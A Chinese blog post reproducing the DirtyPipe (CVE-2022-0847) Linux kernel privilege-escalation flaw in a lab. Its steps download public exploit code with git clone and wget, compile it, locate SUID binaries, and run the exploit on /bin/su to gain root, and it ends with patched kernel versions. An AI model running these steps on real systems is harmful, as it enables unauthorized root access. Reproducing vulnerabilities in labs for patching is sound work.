【漏洞复现】DirtyPipe CVE-2022-0847 Linux 内核提权漏洞复现


0x00 前言

CVSS 评分:7.8

影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102

RT 通过 CVE-2022-0847 可覆盖重写任意可读文件中的数据,可将普通权限的用户提升到特权 root

这个漏洞作者将其命名为了 Dirty Pipe,一看到这名字讲道理就让人想到了 Dirty Cow,这是因为该漏洞的原理比较类似于 Dirty Cow,但这个漏洞更容易被利用。

0x01 漏洞检测

检测的方法很简单,直接 uname -r ,如果 5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102 说明可能受到该漏洞的影响。

img

0x02 环境搭建

建议在搭建环境前,先打好快照

环境依赖:

  • Ubuntu 16.04 或 18.04(推荐)
  • Python >= 3.6 (不支持Python 2.x!)
  • pip3
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
sudo ./metarget cnv install cve-2022-0847

img

环境搭建好后,查看当前系统内核

uname -r

img

可以看到系统内核已经是 5.8 的了,说明是可能受到该漏洞的影响了。

0x03 漏洞复现

方法一:CVE-2022-0847-DirtyPipe-Exploit

把 POC git 下来

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
cd CVE-2022-0847-DirtyPipe-Exploit

开始提权

gcc exploit.c -o exploit
./exploit

img

我这里提示 su: must be run from a terminal,没提权成功。

根据作者的解释,他的电脑快没电了,所以暂时还没时间解决这个问题,这 ……

img

方法二:dirtypipez.c

后来看 p 牛说到了网上的其他 POC,下面这个 POC 测试了一下,是可以提权的

mkdir dirtypipez
cd dirtypipez
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez

img

这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权

使用以下命令可以找到这类文件

find / -perm -u=s -type f 2>/dev/null

img

这里就以 /bin/su 为例了,直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权

./dirtypipez /bin/su 

img

0x04 漏洞修复

更新升级 Linux 内核到以下安全版本:

  • Linux 内核 >= 5.16.11
  • Linux 内核 >= 5.15.25
  • Linux 内核 >= 5.10.102

参考文章:

https://t.zsxq.com/imaqj2V

https://mp.weixin.qq.com/s/b8DmtIerXuoC7f3nqaOVIw

https://access.redhat.com/security/cve/cve-2022-0847

img


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录